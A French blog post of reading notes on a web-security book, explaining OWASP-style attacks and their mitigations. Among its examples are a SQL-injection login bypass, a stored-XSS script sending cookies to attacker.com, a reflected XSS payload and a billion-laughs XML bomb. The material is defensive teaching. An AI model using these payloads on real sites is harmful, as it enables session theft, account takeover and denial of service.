Les bases de la sécurité Web

Voici mes notes de lecture du livre Web Security for Developers.

Il couvre les notions de base de la sécurité Web, dont le top 10 de l'OWASP.

L'auteur est aussi le créateur de Hacksplaining.

Attaques par injection

Les attaques par injection exploitent du code côté serveur qui n'assainit pas correctement les requêtes HTTP.

Injection SQL

Un attaquant insère des arguments malveillants dans une requête HTTP afin d'exécuter des actions non voulues par le développeur.

Exemple en passant la valeur billy@gmail.com'-- à email dans un formulaire de connexion :

statement.executeQuery(
    "SELECT * FROM users WHERE email='billy@gmail.com'-- AND encrypted_password='ds4654e@'s'"
)

Toute la partie après -- est interprétée comme un marqueur de commentaire.

Un attaquant peut commenter le champ du mot de passe et usurper n'importe quel compte.

Mesures d'atténuation :

utiliser des paramètres liés (bind parameters) dans les requêtes SQL
- ce sont des marqueurs qui garantissent la bonne forme d'une requête SQL :
```
sql = "SELECT * FROM users WHERE email = ? AND encrypted_password = ?"
statement.executeQuery(sql, email, password)
```
- une requête qui contient des paramètres liés est une requête paramétrée (parameterized statement)
- les caractères de contrôle SQL (', --, ;, etc.) y sont préfixés par des caractères d'échappemement
utiliser un ORM
- car les paramètres liés y sont souvent implémentés
respecter le principe de moindre privilège
- l'utilisateur SQL doit avoir uniquement les permissions nécessaires (SELECT, INSERT, UPDATE, DELETE)

Injection de commande (Command Injection)

Un attaquant utilise les paramètres bruts de la requête HTTP pour construire une chaîne de commande système non sécurisée.

Mesures d'atténuation :

s'assurer d'échapper les caractères de contrôle :

from subprocess import call
call(["nslookup", domain])  # `call` will escape control chars.

limiter les privilèges du processus du serveur Web
- limiter le nombre de répertoires dans lesquels il peut lire/écrire (chroot etc.)
- limiter les accès réseaux (firewall et ACL réseaux)

Injection via fichiers (File Upload Vulnerabilities)

L'injection via fichiers se produit lorsque des fichiers malveillants sont téléchargés sur un serveur et traités de manière incorrecte.

Exemple : un attaquant envoie un fichier PHP contenant un web shell déguisé en image :

hack.php envoyé en tant qu'image de profil
le fichier PHP est traité en tant qu'exécutable par l'OS (c'est la clé de l'attaque)
à l'affichage de la page du profil, l'image ne s'afiche pas mais on voit une URL publique vers hack.php dont il suffit de copier le lien pour lancer un web shell

Mesures d'atténuation :

héberger les fichiers sur un système sécurisé
- utiliser un hébergement de tierce partie (S3, CDN, etc.)
- ou à défaut une partition spécifique
s'assurer que les fichiers envoyés ne sont pas exécutables
- renommer les fichiers avec la bonne extension
valider le contenu des fichiers envoyés
- s'assurer que l'en-tête Content-Type correspond au type de fichier attendu
- vérifier les Magic Bytes
utiliser un antivirus

Cross-Site Scripting (XSS)

Un attaquant exploite le navigateur Web pour exécuter du code JavaScript malveillant.

XSS stocké (ou permanent) (Stored XSS)

Un attaquant injecte du code JavaScript dans la base de données, qui est ensuite utilisé lors de la génération du code HTML.

Exemple de vol d'un cookie en injectant une balise <script> dans un champ de commentaire d'un blog : :

l'attaquant injecte un script dans un commentaire de blog :
```
<script>
    document.write(
        '<img src="https://attacker.com/captureCookie.php?cookie=' + escape(document.cookie) + '" />'
    );</script>
```
- l'attribut src de la balise <img> pointe vers un script contrôlé par l'attaquant
- la query string contient le cookie
- escape() est utilisé car le cookie pourrait contenir des caractères non autorisés dans une URL
côté attaquant, un script collecte les cookies
une fois les cookies collectés, ils peuvent être utilisés avec, par exemple, l'extension Cookie Quick Manager pour Firefox

Mesures d'atténuation :

échapper le HTML avec remplacement des caractères de contrôle HTML par des entités
implémenter une stratégie de sécurité du contenu ou Content Security Policy (CSP)
- elle permet de demander au navigateur de ne jamais exécuter du JavaScript en-ligne
- un mode test est disponible :
```
Content-Security-Policy-Report-Only: script-src 'self'
```

XSS réfléchi (ou non permanent) (Reflected XSS)

Un attaquant injecte du JavaScript dans la query string de l'URL :

https://foo.com/?name=test

Il y a un problème quand la valeur test est "réfléchie" telle quelle dans la page : Hello test.

Du code JavaScript peut être injecté par ce biais :

http://foo.com/?name=<script>alert("hacked")</script>

Mesures d'atténuation :

assainir les données entre une requête et une réponse HTTP
échapper le contenu des requêtes HTTP interpolé dans les pages HTML

XSS basé sur le DOM (ou local) (DOM-Based)

Un attaquant injecte du code JavaScript via la partie fragment de l'URL (la partie après #).

Le fragment est utilisé par les SPAs (single-page apps) pour enregistrer et recharger l'état.

Étant donné que le fragment de l'URL n'est pas envoyé au serveur, c'est le code JavaScript côté client qui doit faire attention à son interprétation.

Mesure d'atténuation : échapper le contenu des fragments d'URL.

Cross-Site Request Forgery (CSRF)

CSRF peut être prononcé sea-surf et se traduire par "falsification de requête intersites".

Un attaquant exploite la confiance d'un utilisateur en lui faisant exécuter des actions à son insu sur un autre site sur lequel il est déjà authentifié.

Sa mise en place est facilitée quand des requêtes GET modifient l'état du système.

Exemple :

un utilisateur est connecté à sa banque en ligne
il visite un site malveillant dans un autre onglet de son navigateur
un code JavaScript y est déclenché silencieusement pour envoyer une requête à la banque en ligne
la requête :
- exploite le fait que l'utilisateur est déjà connecté à sa banque
- utilise les informations d'authentification (cookies) automatiquement incluses par le navigateur
comme la requête provient du navigateur authentifié de l'utilisateur, la banque en ligne la considère comme légitime et exécute l'action demandée par l'attaquant

L'attaque CSRF tire parti du fait que les sites Web n'ont pas de mécanisme pour vérifier si une requête provient réellement de l'utilisateur actuel ou s'il s'agit d'une requête forgée.

Mesures d'atténuation :

suivre les principes REST
- les requêtes GET ne doivent pas modifier l'état du serveur
mettre en place un cookie anti-CSRF
- c'est un jeton (token) aléatoire que le serveur place dans un paramètre de cookie
```
# Défini par le serveur
Set-Cookie: _csrf=5978z45465471s


# Renvoyé par le navigateur
Cookie: _csrf=5978z45465471s
```
- il est envoyé dans les requêtes POST pour vérifier l'origine des requêtes
```
<form method="post">
    <input type="hidden" name="_csrf" value="5978z45465471s">
    
</form>
```
- la comparaison entre la valeur du cookie et celle du formulaire permet de vérifier l'origine de la requête
- la same-origin policy du navigateur permet de s'assurer que les cookies ont bien été mis en place par le serveur web
spécifier des restrictions pour les cookies avec SameSite
demander une nouvelle authentification pour les actions sensibles
- on parle de reauthentication
- protège aussi en cas d'utilisation involontaire d'un appareil partagé ou volé

Authentification et attaques par force brute

Un attaquant teste chaque combinaison possible d'un mot de passe ou d'une clé pour un identifiant donné jusqu'à réussir à s'authentifier.

D'un point de vue strictement technique, une authentification HTTP peut se faire de deux manières grâce aux en-têtes WWW-Authenticate et Authorization :

basic authentication : username:password + base64
digest authentication : hash de username + password + URL

Mais ces mécanismes sont rarement utilisés car :

ils ne sont pas conviviaux
il n'y a pas de moyen de réinitialiser un mot de passe

Ils sont principalement utilisés dans les API où l'expérience utilisateur n'est pas essentielle.

À la place, des mécanismes d'authentification personnalisés utilisant des formulaires en POST sont souvent mis en place.

Ces mécanismes peuvent être vulnérables aux attaques par force brute (brute-force attacks).

Mesures d'atténuation :

sécuriser son système d'authentification
- s'assurer qu'une adresse email est fonctionnelle et légitime
  - email verification + validation token
- attention aux adresses électroniques temporaires jetables (Temporary Disposable Email Address)
  - List of disposable email provider domains
  - disposable-emails
- sécuriser le mécanisme de réinitialisation
  - envoyer un password-reset link avec une faible durée de vie
- stocker les mots de passe de façon sécurisée avec hash + salt pour éviter les rainbow table attacks
- imposer une authentification à plusieurs facteurs (multifactor authentication, MFA)
- sécuriser le process de logout
  - supprimer le cookie de session
  - invalider l'identifiant de session côté serveur (en cas d'interception du cookie par un hacker)
- empêcher l'énumération des utilisateurs avec un message d'erreur générique
- mettre en place un blocage temporaire après trop de tentatives d'authentification en échec
déléguer à un système d'authentification sécurisé déjà existant
- pour les utilisateurs, les options d'authentification incluent :
  - Oauth
  - OpenID
- pour les entreprises (SAML), des solutions telles que :
  - Okta
  - OneLogin
  - Centrify
  - etc.

Cela dit, le futur sera peut-être passwordless !

Vol de cookie de session

Le protocole HTTP est sans état (stateless).

Pour se souvenir d'un utilisateur et de ses actions, on a besoin de stocker l'état de sa session de navigation.

L'état de la session peut être conservé de deux manières :

côté serveur :
- l'état est stocké en mémoire ou dans une base de données
- un cookie de session contient uniquement l'identifiant de l'état
côté client :
- l'état complet est stocké dans un cookie de session
- avant d'être envoyé au client, le cookie doit être chiffré et signé (le serveur web le déchiffre à chaque fois que le navigateur le renvoie)
- cette méthode a été inventée pour résoudre les problèmes de passage à l'échelle des sessions côté serveur

Dans les deux cas, le cookie de session est envoyé lors de chaque requête HTTP.

Il est possible de voler ce cookie par le biais d'attaques XSS, CSRF ou par écoute du réseau.

Pour mitiger ces risques, il faut protéger les cookies avec les attributs suivants :

HttpOnly
- indique de ne pas mettre les cookies à disposition du code JavaScript
- protection contre les attaques XSS
Secure
- indique que les cookies ne doivent jamais être envoyés via une connexion HTTP
- protection contre l'écoute du réseau (man in the middle attacks)
SameSite
- indique ne n'envoyer le cookie que depuis les requêtes générées depuis notre propre site
- protection contre les attaques CSRF

Exemple :

Set-Cookie: session_id=135154684543543434; HttpOnly; Secure; SameSite=Lax

Notes :

avant l'existence des cookies, une méthode pour passer l'ID de session était l'URL rewriting (ajout de l'ID à chaque URL)
```
http://www.example.com/catalog/index.html;jsessionid=1234
```
- l'ID de session se retrouve alors dans les logs du serveur, ce qui est dangereux si un attaquant peut les lire
- ça rend vulnérable aux attaques par fixation de session
une attaque par force brute est possible si les identifiants de session sont trop simples et prévisibles

Permissions

Lorsqu'un attaquant obtient des privilèges supérieurs à ceux qui lui sont normalement attribués, cela s'appelle une élévation des privilèges (privilege escalation).

Les experts en sécurité divisent les attaques par élévation des privilèges en deux catégories :

élévation de privilèges verticale :
- l'attaquant parvient à obtenir des privilèges plus élevés que les siens
élévation de privilèges horizontale :
- l'attaquant se déplace entre des comptes ayant des privilèges similaires

Pour protéger un site contre les attaques par élévation des privilèges, il faut mettre en place un contrôle d'accès aux ressources sensibles.

Contrôle d'accès (Access Control)

Le contrôle d'accès fait référence aux différentes solutions techniques permettant de sécuriser et gérer les privilèges des utilisateurs.

Une stratégie de contrôle d'accès doit prendre en compte les aspects suivants :

authentification
- savoir si un utilisateur est identifié ou non
autorisations
- déterminer ce qu'un utilisateur est autorisé ou non à faire après s'être identifié
contrôles des permissions
- évaluer les autorisations au moment où l'utilisateur tente d'effectuer une action

Exemples de modélisation des règles d'autorisation :

Listes de contrôle d'accès (Access Control Lists, ACLs) :
- associe à chaque objet du système une liste de permissions
Listes blanches et listes noires (whitelists et blacklists)
- une liste blanche indique quels utilisateurs peuvent accéder à une ressource spécifique et interdit les autres, tandis qu'une liste noire fait l'inverse
Contrôle d'accès basé sur un rôle (role-bases access control, RBAC) :
- accorde des rôles aux utilisateurs ou les ajoute à des groupes ayant des rôles spécifiques (AWS IAM, Active Directory)
Contrôle d'accès basé sur la propriété (Ownership-based access control) :
- chaque utilisateur a un contrôle total sur les éléments qu'il possède (comme les médias sociaux)

Il est essentiel de tester les contrôles d'accès pour déterminer qui peut accéder à quelles ressources et qui ne le peut pas.

Il peut être judicieux de confier des tests d'intrusion (penetration tests) à une équipe externe.

L'ajout d'un journal d'audit (audit trails) peut fournir des preuves en cas d'attaque :

14:32:06 2019-02-05: User example@gmail.com logged in

Traversée de répertoires (Directory Traversal)

Les attaques par traversée de répertoires consistent à modifier l'URL afin d'accéder à des répertoires non autorisés sur le site.

Elles impliquent un remplacement du chemin de l'arborescence dans l'URL par un chemin relatif avec la syntaxe ../.

Ces attaques se produisent lorsque le code côté serveur permet d'évaluer des chemins d'accès (filepaths) relatifs plutôt que des noms de fichiers (filenames).

Fuite d'information

Un site web peut involontairement révéler la pile technologique sur laquelle il est construit.

Ça peut donner aux pirates des indications sur la façon de l'attaquer.

Mesures d'atténuation :

désactiver les informations de versions des serveurs
- Disable Telltale Server Headers
utiliser des URLs propres (clean URLs)
- afin de ne pas révéler les suffixes technologiques tels que .php
utiliser des noms de cookies génériques
- éviter les noms de cookies spécifiques à une technologie, comme JSESSIONID pour un serveur Java
désactiver les rapports d'erreurs côté client
- éviter de divulguer des traces d'appels (stack traces) dans les rapports d'erreurs côté client
rester à jour des avertissements de sécurité Stay on top of security advisories

Sécurité des communications HTTP

Le protocole TCP transporte les messages, mais ne chiffre pas les paquets.

Pour assurer la sécurité des communications HTTP, il est nécessaire d'utiliser le chiffrement Transport Layer Security (TLS).

Les conversations HTTP qui utilisent TLS sont des conversations HTTPS.

Activer HTTPS est devenu quasi obligatoire.

Lorsqu'un navigateur a déjà visité un site, il renvoie toujours les cookies qui lui ont été précédemment fournis.

Si la communication initiale se fait en HTTP, les informations des cookies sont transmises en clair.

Une politique de sécurité de transport strict (HTTP Strict Transport Policy - HTS) indique aux navigateurs de ne transmettre les cookies qu'en utilisant HTTPS.

Le navigateur n'enverra pas de cookies via HTTP pendant la durée spécifiée par le paramètre max-age (en secondes) :

server {
    add_header Strict-Transport-Security "max-age=31536000" always;
}

Code de tierce partie

Un attaquant cible les vulnérabilités connues des composants logiciels populaires.

Sécuriser les dépendances

Pour maintenir la sécurité du code :

identifier avec précision ses dépendances logicielles :
- utiliser des numéros de version explicites
- être attentif à l'arbre des dépendances (dependency tree) en utilisant des outils d'audit
- contrôler l'intégrité des ressources (integrity check) via subresource integrity checks (SRI) pour les balises <script> et <style>
être capable de mettre à jour rapidement ses dépendances :
- automatiser le processus
- cela s'applique également aux mises à jour du système d'exploitation
rester informé des problèmes de sécurité :
- suivre les réseaux sociaux
- s'abonner aux listes de diffusion et blogs spécialisés
- consulter les communiqués officiels

Sécuriser la configuration

Les logiciels tiers sont souvent installés avec une configuration par défaut pour faciliter leur utilisation :

désactiver les identifiants par défaut
empêcher de pouvoir lister les répertoires dans les serveurs web
ne pas inclure de credentials dans le logiciel de contrôle de version

Sécuriser les services utilisés

protéger les clés d'API fournies par les services
sécuriser les webhooks (ou reverse API) :
- vérifier les credentials quand un fournisseur de service fait un appel HTTPS vers nous (pour envoyer une notification par exemple) car les URLs des webhooks sont publiques
faire attention à la gestion du DNS et aux risques de subdomain takeovers
- lorsque les CNAME ne pointent plus vers rien

Les services en tant que vecteur d'attaque

Tout JavaScript importé depuis une source tierce présente un risque de sécurité.

Par exemple, le malvertising est l'utilisation de la publicité en ligne pour diffuser des logiciels malveillants.

Les attaquants ciblent les plateformes publicitaires pour diffuser en masse des logiciels malveillants.

Pour éviter cela :

travailler avec des plateformes publicitaires réputées
utiliser l'option SafeFrame proposée par ces plateformes

Attaques XML

Le format d'échange de données XML permet de choisir les noms des balises utilisées dans un document.

La structure d'un document XML est généralement décrite à l'aide d'une grammaire formelle, qui permet de valider le document.

XML propose deux méthodes pour décrire la structure attendue d'un document :

Document Type Definition (DTD)
- pouvant apparaître "en ligne" au sein d'un document XML pour le rendre auto-validant
un fichier XML Schema Definition (XSD) (alternative plus moderne)

Un parseur qui prend en charge la validation "en ligne" d'une DTD est vulnérable aux attaques, généralement au cours du processus de validation.

Même si votre site n'utilise pas XML, votre serveur web peut analyser le format XML "par défaut".

Bombes XML

Une bombe XML utilise une DTD en ligne pour faire exploser l'utilisation de la mémoire d'un parseur XML.

L'objectif est de rendre le serveur web indisponible en épuisant la mémoire disponible.

L'attaque repose sur la capacité des DTD à permettre des déclarations d'entités internes (internal entity declarations) : des macros qui permettent le remplacement d'une chaîne de caractères par un symbole.

Le problème se pose quand des déclarations d'entités internes sont imbriquées :

<!DOCTYPE root [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol; &lol;">
<!ENTITY lol3 "&lol2; &lol2;">
<!ENTITY lol4 "&lol3; &lol3;">
<!ENTITY lol5 "&lol4; &lol4;">
…
<!ENTITY lol128 "&lol127; &lol127;">
]>
<root>&lol128;</root>

C.f. The billion laughs attack.

Attaque par entité XML externe (XML External Entity Attack)

Les DTD peuvent inclure du contenu provenant de fichiers externes.

Les déclarations d'entités externes XML peuvent être exploitées pour :

explorer le système de fichiers (en faisant référence à des fichiers locaux tels que /etc/passwd)
déclencher des requêtes externes depuis le serveur web lui-même (SSRF attacks)

Sécuriser un parseur XML

Mesures d'atténuation :

désactiver l'analyse en ligne des DTD
envisager la bibliothèque defusedxml en Python plutôt que la bibliothèque standard

Complicité involontaire

Certaines vulnérabilités peuvent faire de nous les complices involontaires des hackers.

Fraude par courrier électronique

L'absence d'authentification dans le protocole SMTP permet à un expéditeur de prétendre être n'importe qui dans l'en-tête From.

Cela entraîne un énorme volume de spam, avec notamment :

hameçonnage (phishing) :
- piéger un destinataire pour qu'il divulgue des informations sensibles en utilisant un nom de domaine similaire (doppelganger domain)
hameçonnage ciblé (spearphishing) :
- viser un public restreint en se faisant passer pour des collègues grâce à du name dropping

Mesures d'atténuation pour prévenir les emails frauduleux prétendant provenir de son domaine :

Sender Policy Framework (SPF) :
- autorise uniquement les adresses IP spécifiées dans le DNS à envoyer des emails au nom de notre domaine (via une whitelist)
- fonctionne parce que SMTP repose sur TCP et que l'adresse IP ne peut pas être usurpée aussi facilement que l'en-tête From
- le logiciel de réception du courrier peut ainsi vérifier si l'IP d'origine est autorisée
DomainKeys Identified Mail (DKIM) :
- génère une signature numérique pour les emails sortants avec deux clés :
  1. les messages sortants sont signés avec une clé privée
  2. une clé publique est accessible via le DNS, permettant au destinataire de valider la signature

Dissimulation de liens malveillants

Redirection ouverte (Open Redirect)

Les algorithmes anti-spam utilisent des listes noires de domaines pour bloquer les emails dangereux.

Les spammeurs inventent de nouvelles tactiques pour cacher leurs liens malveillants et éviter d'être détectés.

Une tactique plus subtile que le raccourcissement d'URL consiste à exploiter des sites web présentant des vulnérabilités de redirection ouvertes afin de masquer la véritable destination d'un lien.

Une redirection se produit lorsque le serveur renvoie une réponse avec un code 301 ou 302, souvent utilisé pour renvoyer les utilisateurs vers leur page précédente.

Pour se souvenir de l'URL précédente, celle-ci est souvent transmise en tant que paramètre dans la query string.

Pour prévenir cela, il est important de vérifier les URLs de redirection pour s'assurer qu'elles sont légitimes.

Par exemple, si un site n'est pas sensé faire une redirection externe, on peut valider que l'URL de redirection est bien sous la forme d'un lien relatif.

Détournement de clic (Clickjacking)

HTML permet à une page web d'inclure une autre page via une balise <iframe>.

Ça permet de mélanger du contenu provenant de différents domaines, avec un certain contrôle car le code JavaScript dans la balise <iframe> n'a pas accès à la page qui la contient.

En utilisant des techniques CSS (z-index, opacity, etc.), un attaquant peut placer un élément <div> invisible au-dessus d'une <iframe> et piéger une victime en la faisant cliquer sur le <div> sans qu'elle le sache.

Pour empêcher qu'un site soit inclus dans une balise <frame> :

Content-Security-Policy: frame-ancestors 'none'

Pour permettre à un site de s'inclure lui-même :

Content-Security-Policy: frame-ancestors 'self'

Pour permettre à un site d'inclure d'autres sites :

Content-Security-Policy: frame-ancestors example.com google.com

Server-Side Request Forgery (SSRF)

Les hackers tentent de dissimuler la source de leurs requêtes HTTP, en particulier pour les attaques par déni de service.

Si un serveur web envoie des requêtes HTTP sortantes et qu'un pirate peut contrôler les URL cibles de ces requêtes, il devient vulnérable à une attaque SSRF (Server-Side Request Forgery).

L'attaque consiste à manipuler le serveur pour qu'il envoie des requêtes vers des URL spécifiques choisies par l'attaquant.

Les vulnérabilités SSRF apparaissent quand une URL sortante est construite de manière non sécurisée en utilisant des données d'une requête HTTP entrante vers le serveur.

Mesures d'atténuation :

auditer le code qui effectue des requêtes sortantes
s'assurer que le domaine de destination provient du code lui-même, plutôt que d'être fournies par le client
établir une liste blanche des domaines sortants au niveau du pare-feu

Réseaux de bots informatiques (Botnets)

Un bot est un logiciel malveillant qui peut être piloté à distance par un attaquant.

Mesures d'atténuation :

utiliser des antivirus ou des outils d'analyse des vulnérabilités pour rechercher et supprimer les bots
utiliser un integrity checker pour détecter des changements imprévus du système de fichier
utiliser un serveur virtuel ou un conteneur qui ont l'avantage de tout supprimer au moment de la reconstruction

Attaques par déni de service

Un attaquant tente de rendre un site inaccessible en le submergeant de trafic avec une attaque par déni de service.

Elle consiste à rendre un site indisponible en l'inondant d'un volume important de trafic.

Types d'attaques par déni de service :

Internet Control Message Protocol Attacks (ICMP) :
- ping flood, ping of death
Transmission Control Protocol Attacks (TCP) :
- SYN flood
Application Layer Attacks (HTTP) :
- Slowloris, R-U-Dead-Yet? (RUDY), zip bombs
Reflected and Amplified Attacks :
- utilisation d'un service tiers pour générer assez de trafic malveillant
- Reflected : envoi de requêtes malveillantes à un service tiers avec l'adresse de la victime indiquée comme retour
- Amplified : quand le service tiers retourne plus de réponses que la requête initiale
Distributed Denial-of-Service Attacks
Unintentional Denial-of-Service Attacks :
- Reddit hug of death

Mesures d'atténuation :

Firewalls
Intrusion Prevention Systems (IPS) :
- détection des anomalies statistiques dans le trafic réseau etc.
DDOS Attacks protection solution providers
- Akamai
- Cloudflare
- Neustar
- Amazon Web Services
- etc.
Building for scale :
- anticiper un fort trafic (plus facile à dire qu'à faire)